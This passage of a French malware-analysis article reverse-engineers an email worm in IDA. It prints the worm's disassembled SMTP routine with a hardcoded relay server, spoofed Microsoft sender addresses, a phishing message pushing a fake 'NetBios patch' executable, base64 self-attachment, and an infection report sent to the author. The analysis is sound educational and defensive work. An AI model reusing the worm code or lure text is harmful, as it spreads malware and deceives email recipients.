00401459                pop     edx             ; EDX = adresse mail
0040145A                push    esi             ; Remet L'adresse de retour sur la pile
0040145B                mov     ds:SendTo, edx
00401461                mov     ds:mail_mode, ebx
00401467                push    eax
00401468                push    ecx
00401469                push    offset WSDATA
0040146E                push    101h
00401473                call    WSAStartup      ; Charge Winsock
00401478                test    eax, eax        ; En cas d'erreur on sort de la fonction envoyer mail
0040147A                jnz     erreur_envoyer_mail
```

Le mail commence par récupérer les paramètres passés à la fonction `Envoyer_mail`. Il récupère le mode du mail (nous allons voir plus tard de quoi il s'agit), ainsi qu'un pointeur vers l'adresse du mail de la victime, et finit par charger Winsock.

```
00401480 ouvrir_socket:                         ; CODE XREF: Envoyer_mail+147 j
00401480                push    PC_NONE         ; protocol
00401482                push    SOCK_STREAM     ; type
00401484                push    AF_INET         ; af
00401486                call    socket          ; Ouvre un Socket
0040148B                cmp     eax, OFFFFFFFFh ; Si EAX = FFFFFFFFh
0040148E                jz      decharger_winsock ; alors Erreur
00401494                mov     ds:socket_descriptor, eax
```

Le ver ouvre un socket et sauvegarde le *socket descriptor*.

```
00401499                push    ds:serveur_smtp ; name
0040149F                call    gethostbyname   ; Nom = > IP
004014A4                cmp     eax, 0          ; Si EAX = 0 ==> Erreur
004014A7                jz      essayer_autre_serveur
```

Il convertit ensuite le serveur SMTP en adresse IP pour pouvoir l'utiliser.

```
004014AD                mov     ebx, [eax+10h]  ; eax+hostent.h_ip
004014B0                mov     eax, [ebx]      ; EAX = IP
004014B2                mov     ds:IP_serveur, eax
004014B7                mov     ds:SOCKADDR_IN.sin_family, 2
004014C0                mov     ds:SOCKADDR_IN.sin_addr, eax ; Remplit le champ sin_addr avec l'ip
du serveur stmp
```

L'adresse IP est stockée mais il ne se servira jamais du buffer. Il remplit les champs de la structure SOCKADDRIN.

```
004014C5                push    25              ; Port 25 = SMTP
004014C7                call    htons           ; Host to Network byte order.
004014CC                mov     ds:SOCKADDR_IN.sin_port, ax ; On remplit le champ port
```

Le port que le ver va utiliser est converti grâce à *htons*. Le résultat est ensuite utilisé dans le champ port de la structure `SOCKADDRIN`. Tout est prêt pour pouvoir commencer les connexions.

```
004014D2                push    10h
004014D4                push    offset SOCKADDR_IN      ; on passe en paramètre la structure
SOCKADDRIN complétée
004014D9                push    ds:socket_descriptor    ; Le socket descriptor
004014DF                call    connect                 ; On se connecte
004014E4                cmp     eax, OFFFFFFFFh         ; Si eax = FFFFFFFFh erreur
004014E7                jz      essayer_autre_serveur
```

On se connecte donc au serveur SMTP (port 25). En cas d'erreur, le ver va essayer le serveur qu'il fournit par défaut en cas de problèmes.

```
004014ED                push    49152           ; Nombre de bytes à Allouer
004014F2                push    0
004014F4                call    GlobalAlloc     ; Allouer mémoire
004014F9                cmp     eax, 0          ; Si eax = 0 alors erreur
004014FC                jz      fermer_socket   ; on ferme le socket
00401502                mov     ds:MemAlloc2, eax       ; Le buffer contient l'adresse du
début de la mémoire allouée
```

Le ver alloue 49152 octets de mémoire. En cas d'erreur, il ferme le socket et le processus de reproduction s'arrête. Il sauvegarde ensuite l'adresse de la mémoire allouée.

```
00401507                call    socket_recv
0040150C                cmp     eax, OFFFFFFFFh         ; SI EAX = FFFFFFFF alors erreur
0040150F                jz      short essayer_autre_serveur
```

`socket_recv` est une fonction pour lire ce que renvoie le serveur. En cas d'erreur, le ver utilisera le serveur SMTP "hardcodé" dans le ver.

```
00401511                cmp     ds:serveur_smtp, offset aWww_festu_ru  ; "www.festu.ru"
0040151B                jz      short nouveau_hello
```

Le ver utilise le serveur "*www.festu.ru*" comme serveur par défaut et recommence la connexion.

```
0040151D                push    offset hello_support
00401522                call    socket_send             ; On envoie le hello
00401527                cmp     eax, OFFFFFFFFh         ; Si EAX = FFFFFFFF alors erreur
0040152A                jz      short essayer_autre_serveur
0040152C                jmp     short lecture
0040152E ; ---------------------------------------------------------------------------
0040152E
0040152E nouveau_hello:                         ; CODE XREF: Envoyer_mail+C4 j
0040152E                push    offset helloadmin       ; hello admin
00401533                call    socket_send
00401538                cmp     eax, OFFFFFFFFh
0040153B                jz      short essayer_autre_serveur
0040153D
0040153D lecture:                               ; CODE XREF: Envoyer_mail+D5 j
0040153D                call    socket_recv
```

```
00401542        cmp     ds:serveur_smtp, offset aWww_festu_ru  ; "www.festu.ru"
0040154C        jz      short autre_mail_from
0040154E        push    offset mail_from_sup            ; mail from: support@microsoft.com
00401553        call    socket_send                       ; Envoyer..
00401558        jmp     short lecture_socket
```

Si tout s'est bien passé, le ver envoie son "hello" au serveur. Il vérifie encore une fois que tout s'est bien passé, et en cas de problème, utilise le serveur SMTP hardcodé à la place. Selon le serveur utilisé, le hello est différent.

Avec le serveur SMTP récupéré dans la base de registres de la victime, le ver envoie "hello support", tandis qu'avec le serveur hardcodé, il envoie "hello admin". Ensuite, selon le serveur utilisé, l'expéditeur du mail sera différent : *support@microsoft.com* ou *admin@festu.ru* selon le cas.

```
0040155A ; ---------------------------------------------------------------------------
0040155A
0040155A autre_mail_from:                               ; CODE XREF: Envoyer_mail+F5 j
0040155A                push    offset mail_from_adm    ; mail from: admin@festu.ru
0040155F                call    socket_send
```

Si on utilise le serveur hardcodé, on envoie *'mail from: admin@festu.ru'*.

```
00401564
00401564 lecture_socket:                                ; CODE XREF: Envoyer_mail+101 j
00401564                call    socket_recv
00401569                mov     esi, ebx            ESI = EBX = pointeur vers buffer lecture socket
0040156B                mov     edi, offset a250        ; EDI pointe vers "250" : Code de retour du
serveur si tout est OK
00401570                mov     ecx, 3                  ; 3 lettres à comparer
00401575                repe cmpsb                      ; On compare les 3 caracteres.
00401577                jz      short on_envoye_le_mail ; Si ESI pointe vers 250. la commande est
passée sans erreurs.
00401579
```

Ici, le ver lit la réponse du serveur. Si les trois premiers caractères sont "250", tout s'est bien passé.

```
00401579 essayer_autre_serveur:                                 ; CODE XREF: Envoyer_mail+50 j
00401579                                                        ; Envoyer_mail+90 j
00401579                                                        ; Envoyer_mail+B8 j
00401579                                                        ; Envoyer_mail+D3 j
00401579                                                        ; Envoyer_mail+E4 j
00401579                                                        ; Envoyer_mail+16E j
00401579                cmp     ds:serveur_smtp, offset aWww_festu_ru ; Utilisons nous déjà le
serveur hardcodé?
00401583                jz      fermer_socket           ; c'etait le serveur hardcodé donc on arrête.
00401589                push    ds:socket_descriptor            ; Non pas encore alors on va essayer.
0040158F                call    closesocket                     ; On ferme le socket.
00401594                mov     ds:serveur_smtp, offset aWww_festu_ru ; Serveur par défaut en cas
d'erreur.
0040159E                jmp     ouvrir_socket                   ; On ouvre un autre socket
pour se connecter au serveur hardcodé.
```

Cette routine vérifie si nous avions déjà essayé le serveur SMTP par défaut. Si tel est le cas, le ver ferme le socket et arrête le processus de reproduction. Sinon, il ferme le socket et en ouvre un nouveau pour se connecter sur le serveur hardcodé.

```
004015A3 ; ---------------------------------------------------------------------------
004015A3
004015A3 on_envoye_le_mail:                             ; CODE XREF: Envoyer_mail+120 j
004015A3                push    offset rctp_to          ; rcpt to:
004015A8                call    socket_send             ; Envoie rcpt to
004015AD                call    Envoyer_adresse
004015B2                call    socket_recv             ; on lit ce qui en ressort
004015B7                mov     esi, ebx            ; ESI = EBX = pointeur vers buffer de lecture
004015B9                mov     edi, offset a250        ; EDI = 250 (code si tout se passe bien)
004015BE                mov     ecx, 3                  ; ECX = 3 = taille de "250"
004015C3                repe cmpsb                      ; on compare les 3 caractères
004015C5                jnz     short essayer_autre_serveur; si différent de 250, on change de serveur
```

Ici, le ver lit à nouveau la réponse du serveur. Si les trois premiers caractères sont "250" tout s'est bien passé. Le ver appelle la procédure Envoyer_adresse que voici :

```
004016A5 Envoyer_adresse proc near                      ; CODE XREF: Envoyer_mail+156 p
004016A5                mov     ecx, 0
004016AA                mov     eax, ds:SendTo  ; EAX pointe vers l'adresse de la prochaine victime
004016AF
004016AF boucle_recup_adresse:                          ; CODE XREF: Envoyer_adresse+15 j
004016AF                cmp     byte ptr [eax], 0 ; si EAX = 0 nous avons la taille de l'adresse
dans ecx.
004016B2                jz      short envoie_mail
004016B4                add     ecx, 1                  ; on incremente ECX
004016B7                add     eax, 1                  ; on incremente EAX
004016BA                jmp     short boucle_recup_adresse  ; on boucle tant que EAX != 0
004016BC ; ---------------------------------------------------------------------------
004016BC
```

Cette petite boucle récupère la taille de l'adresse mail pointée par EAX.

```
004016BC envoie_mail:                                   ; CODE XREF: Envoyer_adresse+D j
004016BC                push    0                       ; flags
004016BE                push    ecx                     ; taille du mail
004016BF                push    ds:SendTo               ; buffer qui contient l'adresse mail
004016C5                push    ds:socket_descriptor    ; Socket Descriptor
004016CB                call    send
004016D0                push    0                       ; len
004016D2                push    2                       ; buf
004016D4                call    push_CRLF               ; Carriage Return Line Feed
004016D4 ; ---------------------------------------------------------------------------
004016D9                db 0Dh, 0Ah                     ; CRLF
004016DB ; ---------------------------------------------------------------------------
004016DB
004016DB push_CRLF:                                     ; CODE XREF: Envoyer_adresse+2F p
004016DB                push    ds:socket_descriptor    ; s
004016E1                call    send                    ; on envoie un CRLF
004016E6                retn
004016E6
004016E6 Envoyer_adresse endp
004016E6
```

Le ver envoie ensuite l'adresse mail de la victime au serveur SMTP. Il envoie juste après un CRLF (retour à la ligne et retour chariot). Après avoir analysé la procédure Envoyer_adresse, continuons avec la suite du ver :

```
004015C7                push    offset data             ; data
004015CC                call    socket_send             ; on envoie data
004015D1                call    socket_recv             ; on lit ce qui en ressort
```

Le ver envoie "data" au serveur SMTP.

```
004015D6                cmp     ds:mail_mode, 1             ; Mail MODE = 1 ?
004015DD                jz      short mail_mode_1           ; Mode 1. alors on envoie de
kelaino@microsoft.com
004015DF
004015DF mail_mode_2:                                       ; support@microsoft.com
004015DF                push    offset support@microsoft_com ; HEADER mail 2
004015E4                call    socket_send                 ; envoie.
004015E9                jmp     short AttachFile
004015EB ; ---------------------------------------------------------------------------
004015E8
004015EB mail_mode_1:                                       ; CODE XREF: Envoyer_mail+186 j
004015EB                push    offset kelaino@microsoft_com HEADER mail 1
004015F0                call    socket_send
004015F5                jmp     short send_dot
```

Le ver ensuite vérifie le mode du mail. L'auteur du ver a implémenté deux modes. Le premier mode est utilisé pour envoyer un message à l'auteur du ver. Ça lui permet de savoir combien de personnes ont été infectées par son ver. Le second et dernier mode est utilisé pour la propagation. Dans le premier mode, l'auteur va recevoir un mail provenant de *kelaino@microsoft.com*, alors que l'adresse de provenance utilisée pour tromper les futures victimes est *support@microsoft.com*. Voilà les deux *headers* (en-têtes) du mail:

```
From: "Microsoft Support" ',0Dh,0Ah
004022A1                db 'Subject: Support Message',0Dh,0Ah
004022A1                db 'MIME-Version: 1.0',0Dh,0Ah
004022A1                db 'Content-Type: multipart/mixed;',0Dh,0Ah
004022A1                db '        boundary="----=_NextPart_000_0005_01BDE2EC.8B286C00"'
004022A1                db 0Dh,0Ah
004022A1                db 'X-Priority: 3',0Dh,0Ah
004022A1                db 'X-MSMail-Priority: Normal',0Dh,0Ah
004022A1                db 'X-Unsent: 1',0Dh,0Ah
004022A1                db 'X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3',0Dh,0Ah
004022A1                db '------=_NextPart_000_0005_01BDE2EC.8B286C00',0Dh,0Ah
004022A1                db 'Content-Type: text/plain; charset=iso-8859-1',0Dh,0Ah
004022A1                db 'Content-Transfer-Encoding: quoted-printable',0Dh,0Ah
004022A1                db 0Dh,0Ah
004022A1                db 'During the last time, many bugs were found in our software. '
004022A1                db 'Because',0Dh,0Ah
004022A1                db 'of our product philosophie, we want to give our custumers as'
004022A1                db ' much security',0Dh,0Ah
004022A1                db 'as possible. So we decided to send out to all known Microsof'
004022A1                db 't custumers the',0Dh,0Ah
004022A1                db 'NetBios patch Version 1.0 . This patch will fix all the know'
004022A1                db 'n and possibly unknown',0Dh,0Ah
004022A1                db 'bugs and securityholes on port 137 and 139 .',0Dh,0Ah
004022A1                db 'The patch is completly free and easy to install. Our patch w'
004022A1                db 'ill install',0Dh,0Ah
004022A1                db 'itself after starting and run as background process. After a'
004022A1                db ' successfull',0Dh,0Ah
004022A1                db 'installation you should get an OK message box.',0Dh,0Ah
004022A1                db 'Thanx for using Microsoft products.',0Dh,0Ah
004022A1                db 0Dh,0Ah
004022A1                db 0Dh,0Ah
004022A1                db 'Your Microsoft Support Team',0Dh,0Ah
004022A1                db 0Dh,0Ah
004022A1                db '------=_NextPart_000_0005_01BDE2EC.8B286C00',0Dh,0Ah
004022A1                db 'Content-Type: application/octet-stream; name=netbiospatch10.'
004022A1                db 'exe',0Dh,0Ah
004022A1                db 'Content-Transfer-Encoding: base64',0Dh,0Ah
004022A1                db 'Content-Disposition: attachment       ; filename="netbiospatch10.ex'
004022A1                db 'e"',0Dh,0Ah
004022A1                db 0Dh,0Ah,'$'
```

C'est ici que le ver va ajouter l'encodage en Base64.

```
HEADER 1:
'From: "Kelaino" ',0Dh,0Ah
00402799                db 'Subject: Slave Message',0Dh,0Ah
00402799                db 'MIME-Version: 1.0',0Dh,0Ah
00402799                db 'Content-Type: multipart/mixed;',0Dh,0Ah
00402799                db '        boundary="----=_NextPart_000_0005_01BDE2EC.8B286C00"'
00402799                db 0Dh,0Ah
00402799                db 'X-Priority: 3',0Dh,0Ah
00402799                db 'X-MSMail-Priority: Normal',0Dh,0Ah
00402799                db 'X-Unsent: 1',0Dh,0Ah
00402799                db 'X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3',0Dh,0Ah
00402799                db '------=_NextPart_000_0005_01BDE2EC.8B286C00',0Dh,0Ah
00402799                db 'Content-Type: text/plain; charset=iso-8859-1',0Dh,0Ah
00402799                db 'Content-Transfer-Encoding: quoted-printable',0Dh,0Ah
00402799                db 0Dh,0Ah,0
```

Ce header est utilisé pour l'envoi du mail à l'auteur du ver. Il n'y a donc pas d'attachement. Continuons l'analyse. Si le mode est 2, le ver continue en s'attachant au mail.

```
004015F7 ; ---------------------------------------------------------------------------
004015F7
004015F7 AttachFile:                                        ; CODE XREF: Envoyer_mail+192 j
004015F7                call    copiefile_to_buf
```

La procédure `copiefile_bo_buf` mappe le fichier exécutable du ver et copie son contenu en mémoire allouée. Cette copie va être utilisée pour l'encodage en Base64.

```
004015FC                mov     eax, ds:MemAlloc2  ; EAX contient l'adresse du buffer
00401601                add     eax, 6000h         ; On ajoute 6000h a l'adresse
00401606                mov     edx, ds:MemAlloc2  ; EDX pointe vers le debut du buffer
0040160C                mov     ecx, 3000h         ; ECX = 3000h = taille du fichier = compteur
00401611                call    EncodeBase64       ; Entrée:
00401611                                           ;       EAX = Adresse des données à encoder
00401611                                           ;       EDX = Adresse où placer les données
encodées
00401611                                           ;       ECX = Taille des données à encoder
00401611                                           ; Sortie:
00401611                                           ;       ECX = Taille des données encodées
00401611                                           ;
00401611                                           ;
```

Comme nous pouvons le voir ici, la fonction `EncodeBase64` prend plusieurs paramètres en entrée. Le registre EAX contient l'adresse des données à encoder, c'est pour cela qu'il récupère l'adresse de la mémoire allouée précédemment. Le registre EDX contient l'adresse où il va falloir placer le résultat de l'encodage. Le registre ECX contient la taille du ver (3000h = 12 kb). Je ne vais pas détailler la fonction qui encode en Base64, mais je vais expliquer ce qui nous permet de la définir comme telle.

Premièrement, lors de l'attachement du fichier, nous savons que la Base64 va être utilisée. Il suffit de déterminer quelle est cette fonction. Cette fonction devra faire référence à un tableau de 64 éléments. Dans notre cas, à l'intérieur de la fonction, on voit ceci :

```
0040178A                db 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K'
0040178A                db 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V'
```

```
0040178A                db 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g'
0040178A                db 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r'
0040178A                db 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2'
0040178A                db '3', '4', '5', '6', '7', '8', '9', '+', '/'
```

On reconnaît facilement la table utilisée pour l'encodage en Base64. Continuons.

```
00401616                push    0
00401618                push    5000h
0040161D                push    ds:MemAlloc2
00401623                push    ds:socket_descriptor ; Socket Descriptor
00401629                call    send            ; Envoie les données encodées
0040162E                push    offset __123__ ; (Fin de l'attachement)
00401633                call    socket_send     ; Envoie fin de fichier
```

Ici, le ver envoie l'encodage Base64 au serveur SMTP et finit par lui envoyer "---123---" pour définir la fin de l'attachement.

```
00401638
00401638 send_dot:                              ; CODE XREF: Envoyer_mail+19E j
00401638                push    offset point    ; "."
0040163D                call    socket_send     ; Envoie le point
00401642                call    socket_recv     ; lis résultat
00401647                push    offset quit     ; quit
0040164C                call    socket_send     ; Envoie le quit
00401651                call    socket_recv     ; lis résultat

00401656
```

Le ver termine en envoyant quit pour fermer la connexion avec le serveur. Après cela, il effectue un petit "nettoyage".

```
00401656 fermer_socket:                         ; CODE XREF: Envoyer_mail+A5 j
00401656                                        ; Envoyer_mail+12C j
00401656                                        ; copiefile_to_buf+1F j
00401656                push    ds:socket_descriptor ; s
0040165C                call    closesocket     ; Ferme le socket
00401661                push    ds:MemAlloc2    ; hMem
00401667                call    GlobalFree      ; Libère la memoire allouée
0040166C
```

Il désalloue la mémoire allouée précédemment,

```
0040166C decharger_winsock:                     ; CODE XREF: Envoyer_mail+37 j
0040166C                call    WSACleanup      ; Décharges Winsock
00401671
```

et pour finir il décharge la dll Winsock.

```
00401671 erreur_envoyer_mail:                   ; CODE XREF: Envoyer_mail+23 j
00401671                pop     ecx
00401672                pop     eax
00401673                retn
00401673 Envoyer_mail   endp ; sp = -18h
00401673
```

CONCLUSION

Sans exécuter le ver, il nous a été possible de comprendre entièrement son fonctionnement. Tous les points essentiels à sa reproduction ont été vus en détail. De l'installation du ver dans la base de registres à la récupération d'informations sur la cible (serveur SMTP...), en passant par la récupération des adresses mails dans le carnet d'adresses et le moteur SMTP intégré au ver. IDA s'avère être l'outil le mieux adapté pour effectuer une analyse de ce type. L'analyse de virus peut parfois nécessiter l'utilisation d'un débogueur. Il est intéressant de noter qu'il est possible de coupler le débogueur SoftIce au désassembleur IDA pour obtenir un outil d'analyse de code très puissant permettant alors d'analyser même les virus les plus complexes.

L'autre enseignement à tirer de cette étude est d'une part que le désassemblage n'est pas seulement un outil de "cracker de code", mais surtout une technique incontournable pour l'analyse de code malicieux et pour trouver des fonctions cachées ou autres failles dans des logiciels du commerce. L'autre aspect est que l'on peut dire ce que l'on veut d'un virus. Seule l'analyse du code permettra de savoir ce qu'il fait réellement et de confirmer les assertions des antivirus (voir l'article sur ce sujet dans le dossier).

Nicolas Brulez

Cartel Securité.

http://http://www.cartel-securite.fr

The Armadillo Software Protection System

http://www.siliconrealms.com/armadillo.htm

RÉFÉRENCES

[1] IDA (c) Datarescue : **http://www.datarescue.com/idabase/.**

[2] Art of Assembly : **http://http://webster.cs.ucr.edu/Page_asm/ArtofAssembly/ch06/CH06-1.html**

[3] API Reference Guide : **http://spiff.tripnet.se/~iczelion/files/win32api.zip.**

[4] Winsock API reference : **http://spiff.tripnet.se/~iczelion/files/wshlp.zip.**

[5] LordPE : **http://mitglied.lycos.de/yoda2k/LordPE/info.htm.**